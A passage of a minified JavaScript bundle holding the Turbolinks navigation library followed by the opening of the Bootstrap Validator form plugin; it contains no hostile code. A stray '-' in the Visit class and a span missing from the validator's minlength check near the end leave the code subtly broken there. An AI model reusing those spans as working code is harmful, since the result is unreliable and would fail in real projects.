t.failed=!0,t.delegate.requestFailedWithStatusCode(t.constructor.TIMEOUT_FAILURE)}}(this))},n.prototype.requestCanceled=function(){return this.endRequest()},n.prototype.notifyApplicationBeforeRequestStart=function(){return t.dispatch("turbolinks:request-start",{data:{url:this.url,xhr:this.xhr}})},n.prototype.notifyApplicationAfterRequestEnd=function(){return t.dispatch("turbolinks:request-end",{data:{url:this.url,xhr:this.xhr}})},n.prototype.createXHR=function(){return this.xhr=new XMLHttpRequest,this.xhr.open("GET",this.url,!0),this.xhr.timeout=1e3*this.constructor.timeout,this.xhr.setRequestHeader("Accept","text/html, application/xhtml+xml"),this.xhr.setRequestHeader("Turbolinks-Referrer",this.referrer),this.xhr.onprogress=this.requestProgressed,this.xhr.onload=this.requestLoaded,this.xhr.onerror=this.requestFailed,this.xhr.ontimeout=this.requestTimedOut,this.xhr.onabort=this.requestCanceled},n.prototype.endRequest=function(t){return this.xhr?(this.notifyApplicationAfterRequestEnd(),null!=t&&t.call(this),this.destroy()):void 0},n.prototype.setProgress=function(t){var e;return this.progress=t,"function"==typeof(e=this.delegate).requestProgressed?e.requestProgressed(this.progress):void 0},n.prototype.destroy=function(){var t;return this.setProgress(1),"function"==typeof(t=this.delegate).requestFinished&&t.requestFinished(),this.delegate=null,this.xhr=null},n}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.ProgressBar=function(){function t(){this.trickle=e(this.trickle,this),this.stylesheetElement=this.createStylesheetElement(),this.progressElement=this.createProgressElement()}var n;return n=300,t.defaultCSS=".turbolinks-progress-bar {\n position: fixed;\n display: block;\n top: 0;\n left: 0;\n height: 3px;\n background: #0076ff;\n z-index: 9999;\n transition: width "+n+"ms ease-out, opacity "+n/2+"ms "+n/2+"ms ease-in;\n transform: translate3d(0, 0, 0);\n}",t.prototype.show=function(){return this.visible?void 0:(this.visible=!0,this.installStylesheetElement(),this.installProgressElement(),this.startTrickling())},t.prototype.hide=function(){return this.visible&&!this.hiding?(this.hiding=!0,this.fadeProgressElement(function(t){return function(){return t.uninstallProgressElement(),t.stopTrickling(),t.visible=!1,t.hiding=!1}}(this))):void 0},t.prototype.setValue=function(t){return this.value=t,this.refresh()},t.prototype.installStylesheetElement=function(){return document.head.insertBefore(this.stylesheetElement,document.head.firstChild)},t.prototype.installProgressElement=function(){return this.progressElement.style.width=0,this.progressElement.style.opacity=1,document.documentElement.insertBefore(this.progressElement,document.body),this.refresh()},t.prototype.fadeProgressElement=function(t){return this.progressElement.style.opacity=0,setTimeout(t,1.5*n)},t.prototype.uninstallProgressElement=function(){return this.progressElement.parentNode?document.documentElement.removeChild(this.progressElement):void 0},t.prototype.startTrickling=function(){return null!=this.trickleInterval?this.trickleInterval:this.trickleInterval=setInterval(this.trickle,n)},t.prototype.stopTrickling=function(){return clearInterval(this.trickleInterval),this.trickleInterval=null},t.prototype.trickle=function(){return this.setValue(this.value+Math.random()/100)},t.prototype.refresh=function(){return requestAnimationFrame(function(t){return function(){return t.progressElement.style.width=10+90*t.value+"%"}}(this))},t.prototype.createStylesheetElement=function(){var t;return t=document.createElement("style"),t.type="text/css",t.textContent=this.constructor.defaultCSS,t},t.prototype.createProgressElement=function(){var t;return t=document.createElement("div"),t.className="turbolinks-progress-bar",t},t}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.BrowserAdapter=function(){function n(n){this.controller=n,this.showProgressBar=e(this.showProgressBar,this),this.progressBar=new t.ProgressBar}var r,i,o,a;return a=t.HttpRequest,r=a.NETWORK_FAILURE,o=a.TIMEOUT_FAILURE,i=500,n.prototype.visitProposedToLocationWithAction=function(t,e){return this.controller.startVisitToLocationWithAction(t,e)},n.prototype.visitStarted=function(t){return t.issueRequest(),t.changeHistory(),t.loadCachedSnapshot()},n.prototype.visitRequestStarted=function(t){return this.progressBar.setValue(0),t.hasCachedSnapshot()||"restore"!==t.action?this.showProgressBarAfterDelay():this.showProgressBar()},n.prototype.visitRequestProgressed=function(t){return this.progressBar.setValue(t.progress)},n.prototype.visitRequestCompleted=function(t){return t.loadResponse()},n.prototype.visitRequestFailedWithStatusCode=function(t,e){switch(e){case r:case o:return this.reload();default:return t.loadResponse()}},n.prototype.visitRequestFinished=function(){return this.hideProgressBar()},n.prototype.visitCompleted=function(t){return t.followRedirect()},n.prototype.pageInvalidated=function(){return this.reload()},n.prototype.showProgressBarAfterDelay=function(){return this.progressBarTimeout=setTimeout(this.showProgressBar,i)},n.prototype.showProgressBar=function(){return this.progressBar.show()},n.prototype.hideProgressBar=function(){return this.progressBar.hide(),clearTimeout(this.progressBarTimeout)},n.prototype.reload=function(){return window.location.reload()},n}()}.call(this),function(){var e,n=function(t,e){return function(){return t.apply(e,arguments)}};e=!1,addEventListener("load",function(){return t.defer(function(){return e=!0})},!1),t.History=function(){function r(t){this.delegate=t,this.onPopState=n(this.onPopState,this)}return r.prototype.start=function(){return this.started?void 0:(addEventListener("popstate",this.onPopState,!1),this.started=!0)},r.prototype.stop=function(){return this.started?(removeEventListener("popstate",this.onPopState,!1),this.started=!1):void 0},r.prototype.push=function(e,n){return e=t.Location.wrap(e),this.update("push",e,n)},r.prototype.replace=function(e,n){return e=t.Location.wrap(e),this.update("replace",e,n)},r.prototype.onPopState=function(e){var n,r,i,o;return this.shouldHandlePopState()&&(o=null!=(r=e.state)?r.turbolinks:void 0)?(n=t.Location.wrap(window.location),i=o.restorationIdentifier,this.delegate.historyPoppedToLocationWithRestorationIdentifier(n,i)):void 0},r.prototype.shouldHandlePopState=function(){return e===!0},r.prototype.update=function(t,e,n){var r;return r={turbolinks:{restorationIdentifier:n}},history[t+"State"](r,null,e)},r}()}.call(this),function(){t.Snapshot=function(){function e(t){var e,n;n=t.head,e=t.body,this.head=null!=n?n:document.createElement("head"),this.body=null!=e?e:document.createElement("body")}return e.wrap=function(t){return t instanceof this?t:this.fromHTML(t)},e.fromHTML=function(t){var e;return e=document.createElement("html"),e.innerHTML=t,this.fromElement(e)},e.fromElement=function(t){return new this({head:t.querySelector("head"),body:t.querySelector("body")})},e.prototype.clone=function(){return new e({head:this.head.cloneNode(!0),body:this.body.cloneNode(!0)})},e.prototype.getRootLocation=function(){var e,n;return n=null!=(e=this.getSetting("root"))?e:"/",new t.Location(n)},e.prototype.getCacheControlValue=function(){return this.getSetting("cache-control")},e.prototype.hasAnchor=function(t){try{return null!=this.body.querySelector("[id='"+t+"']")}catch(t){}},e.prototype.isPreviewable=function(){return"no-preview"!==this.getCacheControlValue()},e.prototype.isCacheable=function(){return"no-cache"!==this.getCacheControlValue()},e.prototype.getSetting=function(t){var e,n;return n=this.head.querySelectorAll("meta[name='turbolinks-"+t+"']"),e=n[n.length-1],null!=e?e.getAttribute("content"):void 0},e}()}.call(this),function(){var e=[].slice;t.Renderer=function(){function t(){}var n;return t.render=function(){var t,n,r,i;return r=arguments[0],n=arguments[1],t=3<=arguments.length?e.call(arguments,2):[],i=function(t,e,n){n.prototype=t.prototype;var r=new n,i=t.apply(r,e);return Object(i)===i?i:r}(this,t,function(){}),i.delegate=r,i.render(n),i},t.prototype.renderView=function(t){return this.delegate.viewWillRender(this.newBody),t(),this.delegate.viewRendered(this.newBody)},t.prototype.invalidateView=function(){return this.delegate.viewInvalidated()},t.prototype.createScriptElement=function(t){var e;return"false"===t.getAttribute("data-turbolinks-eval")?t:(e=document.createElement("script"),e.textContent=t.textContent,n(e,t),e)},n=function(t,e){var n,r,i,o,a,s,l;for(o=e.attributes,s=[],n=0,r=o.length;r>n;n++)a=o[n],i=a.name,l=a.value,s.push(t.setAttribute(i,l));return s},t}()}.call(this),function(){t.HeadDetails=function(){function t(t){var e,n,o,a,s,l,u;for(this.element=t,this.elements={},u=this.element.childNodes,a=0,l=u.length;l>a;a++)o=u[a],o.nodeType===Node.ELEMENT_NODE&&(s=o.outerHTML,n=null!=(e=this.elements)[s]?e[s]:e[s]={type:i(o),tracked:r(o),elements:[]},n.elements.push(o))}var e,n,r,i;return t.prototype.hasElementWithKey=function(t){return t in this.elements},t.prototype.getTrackedElementSignature=function(){var t,e;return function(){var n,r;n=this.elements,r=[];for(t in n)e=n[t].tracked,e&&r.push(t);return r}.call(this).join("")},t.prototype.getScriptElementsNotInDetails=function(t){return this.getElementsMatchingTypeNotInDetails("script",t)},t.prototype.getStylesheetElementsNotInDetails=function(t){return this.getElementsMatchingTypeNotInDetails("stylesheet",t)},t.prototype.getElementsMatchingTypeNotInDetails=function(t,e){var n,r,i,o,a,s;i=this.elements,a=[];for(r in i)o=i[r],s=o.type,n=o.elements,s!==t||e.hasElementWithKey(r)||a.push(n[0]);return a},t.prototype.getProvisionalElements=function(){var t,e,n,r,i,o,a;n=[],r=this.elements;for(e in r)i=r[e],a=i.type,o=i.tracked,t=i.elements,null!=a||o?t.length>1&&n.push.apply(n,t.slice(1)):n.push.apply(n,t);return n},i=function(t){return e(t)?"script":n(t)?"stylesheet":void 0},r=function(t){return"reload"===t.getAttribute("data-turbolinks-track")},e=function(t){var e;return e=t.tagName.toLowerCase(),"script"===e},n=function(t){var e;return e=t.tagName.toLowerCase(),"style"===e||"link"===e&&"stylesheet"===t.getAttribute("rel")},t}()}.call(this),function(){var e=function(t,e){function r(){this.constructor=t}for(var i in e)n.call(e,i)&&(t[i]=e[i]);return r.prototype=e.prototype,t.prototype=new r,t.__super__=e.prototype,t},n={}.hasOwnProperty;t.SnapshotRenderer=function(n){function r(e,n){this.currentSnapshot=e,this.newSnapshot=n,this.currentHeadDetails=new t.HeadDetails(this.currentSnapshot.head),this.newHeadDetails=new t.HeadDetails(this.newSnapshot.head),this.newBody=this.newSnapshot.body}return e(r,n),r.prototype.render=function(t){return this.trackedElementsAreIdentical()?(this.mergeHead(),this.renderView(function(e){return function(){return e.replaceBody(),e.focusFirstAutofocusableElement(),t()}}(this))):this.invalidateView()},r.prototype.mergeHead=function(){return this.copyNewHeadStylesheetElements(),this.copyNewHeadScriptElements(),this.removeCurrentHeadProvisionalElements(),this.copyNewHeadProvisionalElements()},r.prototype.replaceBody=function(){return this.activateBodyScriptElements(),this.importBodyPermanentElements(),this.assignNewBody()},r.prototype.trackedElementsAreIdentical=function(){return this.currentHeadDetails.getTrackedElementSignature()===this.newHeadDetails.getTrackedElementSignature()},r.prototype.copyNewHeadStylesheetElements=function(){var t,e,n,r,i;for(r=this.getNewHeadStylesheetElements(),i=[],e=0,n=r.length;n>e;e++)t=r[e],i.push(document.head.appendChild(t));return i},r.prototype.copyNewHeadScriptElements=function(){var t,e,n,r,i;for(r=this.getNewHeadScriptElements(),i=[],e=0,n=r.length;n>e;e++)t=r[e],i.push(document.head.appendChild(this.createScriptElement(t)));return i},r.prototype.removeCurrentHeadProvisionalElements=function(){var t,e,n,r,i;for(r=this.getCurrentHeadProvisionalElements(),i=[],e=0,n=r.length;n>e;e++)t=r[e],i.push(document.head.removeChild(t));return i},r.prototype.copyNewHeadProvisionalElements=function(){var t,e,n,r,i;for(r=this.getNewHeadProvisionalElements(),i=[],e=0,n=r.length;n>e;e++)t=r[e],i.push(document.head.appendChild(t));return i},r.prototype.importBodyPermanentElements=function(){var t,e,n,r,i,o;for(r=this.getNewBodyPermanentElements(),o=[],e=0,n=r.length;n>e;e++)i=r[e],(t=this.findCurrentBodyPermanentElement(i))?o.push(i.parentNode.replaceChild(t,i)):o.push(void 0);return o},r.prototype.activateBodyScriptElements=function(){var t,e,n,r,i,o;for(r=this.getNewBodyScriptElements(),o=[],e=0,n=r.length;n>e;e++)i=r[e],t=this.createScriptElement(i),o.push(i.parentNode.replaceChild(t,i));return o},r.prototype.assignNewBody=function(){return document.body=this.newBody},r.prototype.focusFirstAutofocusableElement=function(){var t;return null!=(t=this.findFirstAutofocusableElement())?t.focus():void 0},r.prototype.getNewHeadStylesheetElements=function(){return this.newHeadDetails.getStylesheetElementsNotInDetails(this.currentHeadDetails)},r.prototype.getNewHeadScriptElements=function(){return this.newHeadDetails.getScriptElementsNotInDetails(this.currentHeadDetails)},r.prototype.getCurrentHeadProvisionalElements=function(){return this.currentHeadDetails.getProvisionalElements()},r.prototype.getNewHeadProvisionalElements=function(){return this.newHeadDetails.getProvisionalElements()},r.prototype.getNewBodyPermanentElements=function(){return this.newBody.querySelectorAll("[id][data-turbolinks-permanent]")},r.prototype.findCurrentBodyPermanentElement=function(t){return document.body.querySelector("#"+t.id+"[data-turbolinks-permanent]")},r.prototype.getNewBodyScriptElements=function(){return this.newBody.querySelectorAll("script")},r.prototype.findFirstAutofocusableElement=function(){return document.body.querySelector("[autofocus]")},r}(t.Renderer)}.call(this),function(){var e=function(t,e){function r(){this.constructor=t}for(var i in e)n.call(e,i)&&(t[i]=e[i]);return r.prototype=e.prototype,t.prototype=new r,t.__super__=e.prototype,t},n={}.hasOwnProperty;t.ErrorRenderer=function(t){function n(t){this.html=t}return e(n,t),n.prototype.render=function(t){return this.renderView(function(e){return function(){return e.replaceDocumentHTML(),e.activateBodyScriptElements(),t()}}(this))},n.prototype.replaceDocumentHTML=function(){return document.documentElement.innerHTML=this.html},n.prototype.activateBodyScriptElements=function(){var t,e,n,r,i,o;for(r=this.getScriptElements(),o=[],e=0,n=r.length;n>e;e++)i=r[e],t=this.createScriptElement(i),o.push(i.parentNode.replaceChild(t,i));return o},n.prototype.getScriptElements=function(){return document.documentElement.querySelectorAll("script")},n}(t.Renderer)}.call(this),function(){t.View=function(){function e(t){this.delegate=t,this.element=document.documentElement}return e.prototype.getRootLocation=function(){return this.getSnapshot().getRootLocation()},e.prototype.getSnapshot=function(){return t.Snapshot.fromElement(this.element)},e.prototype.render=function(t,e){var n,r,i;return i=t.snapshot,n=t.error,r=t.isPreview,this.markAsPreview(r),null!=i?this.renderSnapshot(i,e):this.renderError(n,e)},e.prototype.markAsPreview=function(t){return t?this.element.setAttribute("data-turbolinks-preview",""):this.element.removeAttribute("data-turbolinks-preview")},e.prototype.renderSnapshot=function(e,n){return t.SnapshotRenderer.render(this.delegate,n,this.getSnapshot(),t.Snapshot.wrap(e))},e.prototype.renderError=function(e,n){return t.ErrorRenderer.render(this.delegate,n,e)},e}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.ScrollManager=function(){function t(t){this.delegate=t,this.onScroll=e(this.onScroll,this)}return t.prototype.start=function(){return this.started?void 0:(addEventListener("scroll",this.onScroll,!1),this.onScroll(),this.started=!0)},t.prototype.stop=function(){return this.started?(removeEventListener("scroll",this.onScroll,!1),this.started=!1):void 0},t.prototype.scrollToElement=function(t){return t.scrollIntoView()},t.prototype.scrollToPosition=function(t){var e,n;return e=t.x,n=t.y,window.scrollTo(e,n)},t.prototype.onScroll=function(){return this.updatePosition({x:window.pageXOffset,y:window.pageYOffset})},t.prototype.updatePosition=function(t){var e;return this.position=t,null!=(e=this.delegate)?e.scrollPositionChanged(this.position):void 0},t}()}.call(this),function(){t.SnapshotCache=function(){function e(t){this.size=t,this.keys=[],this.snapshots={}}var n;return e.prototype.has=function(t){var e;return e=n(t),e in this.snapshots},e.prototype.get=function(t){var e;if(this.has(t))return e=this.read(t),this.touch(t),e},e.prototype.put=function(t,e){return this.write(t,e),this.touch(t),e},e.prototype.read=function(t){var e;return e=n(t),this.snapshots[e]},e.prototype.write=function(t,e){var r;return r=n(t),this.snapshots[r]=e},e.prototype.touch=function(t){var e,r;return r=n(t),e=this.keys.indexOf(r),e>-1&&this.keys.splice(e,1),this.keys.unshift(r),this.trim()},e.prototype.trim=function(){var t,e,n,r,i;for(r=this.keys.splice(this.size),i=[],t=0,n=r.length;n>t;t++)e=r[t],i.push(delete this.snapshots[e]);return i},n=function(e){return t.Location.wrap(e).toCacheKey()},e}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.Visit=function(){function n(n,r,i){this.controller=n,this.action=i,this.performScroll=e(this.performScroll,this),this.identifier=t.uuid(),this.location=t.Location.wrap(r),this.adapter=this.controller.adapter,this.state="initialized",this.timingMetrics={}}var r;return n.prototype.start=function(){return"initialized"===this.state?(this.recordTimingMetric("visitStart"),this.state="started",this.adapter.visitStarted(this)):void 0},n.prototype.cancel=function(){var t;return"started"===this.state?(null!=(t=this.request)&&t.cancel(),this.cancelRender(),this.state="canceled"):void 0},n.prototype.complete=function(){var t;return"started"===this.state?(this.recordTimingMetric("visitEnd"),this.state="completed","function"==typeof(t=this.adapter).visitCompleted&&t.visitCompleted(this),this.controller.visitCompleted(this)):void 0},n.prototype.fail=function(){var t;return"started"===this.state?(this.state="failed","function"==typeof(t=this.adapter).visitFailed?t.visitFailed(this):void 0):void 0},n.prototype.changeHistory=function(){var t,e;return this.historyChanged?void 0:(t=this.location.isEqualTo(this.referrer)?"replace":this.action,e=r(t),this.controller[e](this.location,this.restorationIdentifier),this.historyChanged=!0)},n.prototype.issueRequest=function(){return this.shouldIssueRequest()&&null==this.request?(this.progress=0,this.request=new t.HttpRequest(this,this.location,this.referrer),this.request.send()):void 0},n.prototype.getCachedSnapshot=function(){var t;return!(t=this.controller.getCachedSnapshotForLocation(this.location))||null!=this.location.anchor&&!t.hasAnchor(this.location.anchor)||"restore"!==this.action&&!t.isPreviewable()?void 0:t},n.prototype.hasCachedSnapshot=function(){return null!=this.getCachedSnapshot()},n.prototype.loadCachedSnapshot=function(){var t,e;return(e=this.getCachedSnapshot())?(t=this.shouldIssueRequest(),this.render(function(){var n;return this.cacheSnapshot(),this.controller.render({snapshot:e,isPreview:t},this.performScroll),"function"==typeof(n=this.adapter).visitRendered&&n.visitRendered(this),t?void 0:this.complete()})):void 0},n.prototype.loadResponse=function(){return null!=this.response?this.render(function(){var t,e;return this.cacheSnapshot(),this.request.failed?(this.controller.render({error:this.response},this.performScroll),"function"==typeof(t=this.adapter).visitRendered&&t.visitRendered(this),this.fail()):(this.controller.render({snapshot:this.response},this.performScroll),"function"==typeof(e=this.adapter).visitRendered&&e.visitRendered(this),this.complete())}):void 0},n.prototype.followRedirect=function(){return this.redirectedToLocation&&!this.followedRedirect?(this.location=this.redirectedToLocation,this.controller.replaceHistoryWithLocationAndRestorationIdentifier(this.redirectedToLocation,this.restorationIdentifier),this.followedRedirect=!0):void 0},n.prototype.requestStarted=function(){var t;return this.recordTimingMetric("requestStart"),"function"==typeof(t=this.adapter).visitRequestStarted?t.visitRequestStarted(this):void 0; -},n.prototype.requestProgressed=function(t){var e;return this.progress=t,"function"==typeof(e=this.adapter).visitRequestProgressed?e.visitRequestProgressed(this):void 0},n.prototype.requestCompletedWithResponse=function(e,n){return this.response=e,null!=n&&(this.redirectedToLocation=t.Location.wrap(n)),this.adapter.visitRequestCompleted(this)},n.prototype.requestFailedWithStatusCode=function(t,e){return this.response=e,this.adapter.visitRequestFailedWithStatusCode(this,t)},n.prototype.requestFinished=function(){var t;return this.recordTimingMetric("requestEnd"),"function"==typeof(t=this.adapter).visitRequestFinished?t.visitRequestFinished(this):void 0},n.prototype.performScroll=function(){return this.scrolled?void 0:("restore"===this.action?this.scrollToRestoredPosition()||this.scrollToTop():this.scrollToAnchor()||this.scrollToTop(),this.scrolled=!0)},n.prototype.scrollToRestoredPosition=function(){var t,e;return t=null!=(e=this.restorationData)?e.scrollPosition:void 0,null!=t?(this.controller.scrollToPosition(t),!0):void 0},n.prototype.scrollToAnchor=function(){return null!=this.location.anchor?(this.controller.scrollToAnchor(this.location.anchor),!0):void 0},n.prototype.scrollToTop=function(){return this.controller.scrollToPosition({x:0,y:0})},n.prototype.recordTimingMetric=function(t){var e;return null!=(e=this.timingMetrics)[t]?e[t]:e[t]=(new Date).getTime()},n.prototype.getTimingMetrics=function(){return t.copyObject(this.timingMetrics)},r=function(t){switch(t){case"replace":return"replaceHistoryWithLocationAndRestorationIdentifier";case"advance":case"restore":return"pushHistoryWithLocationAndRestorationIdentifier"}},n.prototype.shouldIssueRequest=function(){return"restore"!==this.action||!this.hasCachedSnapshot()},n.prototype.cacheSnapshot=function(){return this.snapshotCached?void 0:(this.controller.cacheSnapshot(),this.snapshotCached=!0)},n.prototype.render=function(t){return this.cancelRender(),this.frame=requestAnimationFrame(function(e){return function(){return e.frame=null,t.call(e)}}(this))},n.prototype.cancelRender=function(){return this.frame?cancelAnimationFrame(this.frame):void 0},n}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.Controller=function(){function n(){this.clickBubbled=e(this.clickBubbled,this),this.clickCaptured=e(this.clickCaptured,this),this.pageLoaded=e(this.pageLoaded,this),this.history=new t.History(this),this.view=new t.View(this),this.scrollManager=new t.ScrollManager(this),this.restorationData={},this.clearCache()}return n.prototype.start=function(){return t.supported&&!this.started?(addEventListener("click",this.clickCaptured,!0),addEventListener("DOMContentLoaded",this.pageLoaded,!1),this.scrollManager.start(),this.startHistory(),this.started=!0,this.enabled=!0):void 0},n.prototype.disable=function(){return this.enabled=!1},n.prototype.stop=function(){return this.started?(removeEventListener("click",this.clickCaptured,!0),removeEventListener("DOMContentLoaded",this.pageLoaded,!1),this.scrollManager.stop(),this.stopHistory(),this.started=!1):void 0},n.prototype.clearCache=function(){return this.cache=new t.SnapshotCache(10)},n.prototype.visit=function(e,n){var r,i;return null==n&&(n={}),e=t.Location.wrap(e),this.applicationAllowsVisitingLocation(e)?this.locationIsVisitable(e)?(r=null!=(i=n.action)?i:"advance",this.adapter.visitProposedToLocationWithAction(e,r)):window.location=e:void 0},n.prototype.startVisitToLocationWithAction=function(e,n,r){var i;return t.supported?(i=this.getRestorationDataForIdentifier(r),this.startVisit(e,n,{restorationData:i})):window.location=e},n.prototype.startHistory=function(){return this.location=t.Location.wrap(window.location),this.restorationIdentifier=t.uuid(),this.history.start(),this.history.replace(this.location,this.restorationIdentifier)},n.prototype.stopHistory=function(){return this.history.stop()},n.prototype.pushHistoryWithLocationAndRestorationIdentifier=function(e,n){return this.restorationIdentifier=n,this.location=t.Location.wrap(e),this.history.push(this.location,this.restorationIdentifier)},n.prototype.replaceHistoryWithLocationAndRestorationIdentifier=function(e,n){return this.restorationIdentifier=n,this.location=t.Location.wrap(e),this.history.replace(this.location,this.restorationIdentifier)},n.prototype.historyPoppedToLocationWithRestorationIdentifier=function(e,n){var r;return this.restorationIdentifier=n,this.enabled?(r=this.getRestorationDataForIdentifier(this.restorationIdentifier),this.startVisit(e,"restore",{restorationIdentifier:this.restorationIdentifier,restorationData:r,historyChanged:!0}),this.location=t.Location.wrap(e)):this.adapter.pageInvalidated()},n.prototype.getCachedSnapshotForLocation=function(t){var e;return e=this.cache.get(t),e?e.clone():void 0},n.prototype.shouldCacheSnapshot=function(){return this.view.getSnapshot().isCacheable()},n.prototype.cacheSnapshot=function(){var t;return this.shouldCacheSnapshot()?(this.notifyApplicationBeforeCachingSnapshot(),t=this.view.getSnapshot(),this.cache.put(this.lastRenderedLocation,t.clone())):void 0},n.prototype.scrollToAnchor=function(t){var e;return(e=document.getElementById(t))?this.scrollToElement(e):this.scrollToPosition({x:0,y:0})},n.prototype.scrollToElement=function(t){return this.scrollManager.scrollToElement(t)},n.prototype.scrollToPosition=function(t){return this.scrollManager.scrollToPosition(t)},n.prototype.scrollPositionChanged=function(t){var e;return e=this.getCurrentRestorationData(),e.scrollPosition=t},n.prototype.render=function(t,e){return this.view.render(t,e)},n.prototype.viewInvalidated=function(){return this.adapter.pageInvalidated()},n.prototype.viewWillRender=function(t){return this.notifyApplicationBeforeRender(t)},n.prototype.viewRendered=function(){return this.lastRenderedLocation=this.currentVisit.location,this.notifyApplicationAfterRender()},n.prototype.pageLoaded=function(){return this.lastRenderedLocation=this.location,this.notifyApplicationAfterPageLoad()},n.prototype.clickCaptured=function(){return removeEventListener("click",this.clickBubbled,!1),addEventListener("click",this.clickBubbled,!1)},n.prototype.clickBubbled=function(t){var e,n,r;return this.enabled&&this.clickEventIsSignificant(t)&&(n=this.getVisitableLinkForNode(t.target))&&(r=this.getVisitableLocationForLink(n))&&this.applicationAllowsFollowingLinkToLocation(n,r)?(t.preventDefault(),e=this.getActionForLink(n),this.visit(r,{action:e})):void 0},n.prototype.applicationAllowsFollowingLinkToLocation=function(t,e){var n;return n=this.notifyApplicationAfterClickingLinkToLocation(t,e),!n.defaultPrevented},n.prototype.applicationAllowsVisitingLocation=function(t){var e;return e=this.notifyApplicationBeforeVisitingLocation(t),!e.defaultPrevented},n.prototype.notifyApplicationAfterClickingLinkToLocation=function(e,n){return t.dispatch("turbolinks:click",{target:e,data:{url:n.absoluteURL},cancelable:!0})},n.prototype.notifyApplicationBeforeVisitingLocation=function(e){return t.dispatch("turbolinks:before-visit",{data:{url:e.absoluteURL},cancelable:!0})},n.prototype.notifyApplicationAfterVisitingLocation=function(e){return t.dispatch("turbolinks:visit",{data:{url:e.absoluteURL}})},n.prototype.notifyApplicationBeforeCachingSnapshot=function(){return t.dispatch("turbolinks:before-cache")},n.prototype.notifyApplicationBeforeRender=function(e){return t.dispatch("turbolinks:before-render",{data:{newBody:e}})},n.prototype.notifyApplicationAfterRender=function(){return t.dispatch("turbolinks:render")},n.prototype.notifyApplicationAfterPageLoad=function(e){return null==e&&(e={}),t.dispatch("turbolinks:load",{data:{url:this.location.absoluteURL,timing:e}})},n.prototype.startVisit=function(t,e,n){var r;return null!=(r=this.currentVisit)&&r.cancel(),this.currentVisit=this.createVisit(t,e,n),this.currentVisit.start(),this.notifyApplicationAfterVisitingLocation(t)},n.prototype.createVisit=function(e,n,r){var i,o,a,s,l;return o=null!=r?r:{},s=o.restorationIdentifier,a=o.restorationData,i=o.historyChanged,l=new t.Visit(this,e,n),l.restorationIdentifier=null!=s?s:t.uuid(),l.restorationData=t.copyObject(a),l.historyChanged=i,l.referrer=this.location,l},n.prototype.visitCompleted=function(t){return this.notifyApplicationAfterPageLoad(t.getTimingMetrics())},n.prototype.clickEventIsSignificant=function(t){return!(t.defaultPrevented||t.target.isContentEditable||t.which>1||t.altKey||t.ctrlKey||t.metaKey||t.shiftKey)},n.prototype.getVisitableLinkForNode=function(e){return this.nodeIsVisitable(e)?t.closest(e,"a[href]:not([target])"):void 0},n.prototype.getVisitableLocationForLink=function(e){var n;return n=new t.Location(e.getAttribute("href")),this.locationIsVisitable(n)?n:void 0},n.prototype.getActionForLink=function(t){var e;return null!=(e=t.getAttribute("data-turbolinks-action"))?e:"advance"},n.prototype.nodeIsVisitable=function(e){var n;return!(n=t.closest(e,"[data-turbolinks]"))||"false"!==n.getAttribute("data-turbolinks")},n.prototype.locationIsVisitable=function(t){return t.isPrefixedBy(this.view.getRootLocation())&&t.isHTML()},n.prototype.getCurrentRestorationData=function(){return this.getRestorationDataForIdentifier(this.restorationIdentifier)},n.prototype.getRestorationDataForIdentifier=function(t){var e;return null!=(e=this.restorationData)[t]?e[t]:e[t]={}},n}()}.call(this),function(){var e,n,r;t.start=function(){return n()?(null==t.controller&&(t.controller=e()),t.controller.start()):void 0},n=function(){return null==window.Turbolinks&&(window.Turbolinks=t),r()},e=function(){var e;return e=new t.Controller,e.adapter=new t.BrowserAdapter(e),e},r=function(){return window.Turbolinks===t},r()&&t.start()}.call(this)}).call(this),"object"==typeof module&&module.exports?module.exports=t:"function"==typeof define&&define.amd&&define(t)}.call(this),+function(t){"use strict";function e(e){return e.is('[type="checkbox"]')?e.prop("checked"):e.is('[type="radio"]')?!!t('[name="'+e.attr("name")+'"]:checked').length:e.is("select[multiple]")?+e.val()?e.val():null:e.val()}function n(e){return this.each(function(){var n=t(this),i=t.extend({},r.DEFAULTS,n.data(),"object"==typeof e&&e),o=n.data("bs.validator");(o||"destroy"!=e)&&(o||n.data("bs.validator",o=new r(this,i)),"string"==typeof e&&o[e]())})}var r=function(n,i){this.options=i,this.validators=t.extend({},r.VALIDATORS,i.custom),this.$element=t(n),this.$btn=t('button[type="submit"], input[type="submit"]').filter('[form="'+this.$element.attr("id")+'"]').add(this.$element.find('input[type="submit"], button[type="submit"]')),this.update(),this.$element.on("input.bs.validator change.bs.validator focusout.bs.validator",t.proxy(this.onInput,this)),this.$element.on("submit.bs.validator",t.proxy(this.onSubmit,this)),this.$element.on("reset.bs.validator",t.proxy(this.reset,this)),this.$element.find("[data-match]").each(function(){var n=t(this),r=n.data("match");t(r).on("input.bs.validator",function(){e(n)&&n.trigger("input.bs.validator")})}),this.$inputs.filter(function(){return e(t(this))&&!t(this).closest(".has-error").length}).trigger("focusout"),this.$element.attr("novalidate",!0)};r.VERSION="0.11.8",r.INPUT_SELECTOR=':input:not([type="hidden"], [type="submit"], [type="reset"], button)',r.FOCUS_OFFSET=20,r.DEFAULTS={delay:500,html:!1,disable:!0,focus:!0,custom:{},errors:{match:"Does not match",minlength:"Not long enough"},feedback:{success:"glyphicon-ok",error:"glyphicon-remove"}},r.VALIDATORS={"native":function(t){var e=t[0];if(e.checkValidity)return!e.checkValidity()&&!e.validity.valid&&(e.validationMessage||"error!")},match:function(e){var n=e.data("match");return e.val()!==t(n).val()&&r.DEFAULTS.errors.match},minlength:function(t){var e=t.data("minlength");return t.val().length").addClass("list-unstyled").append(t.map(r,function(e){return t("
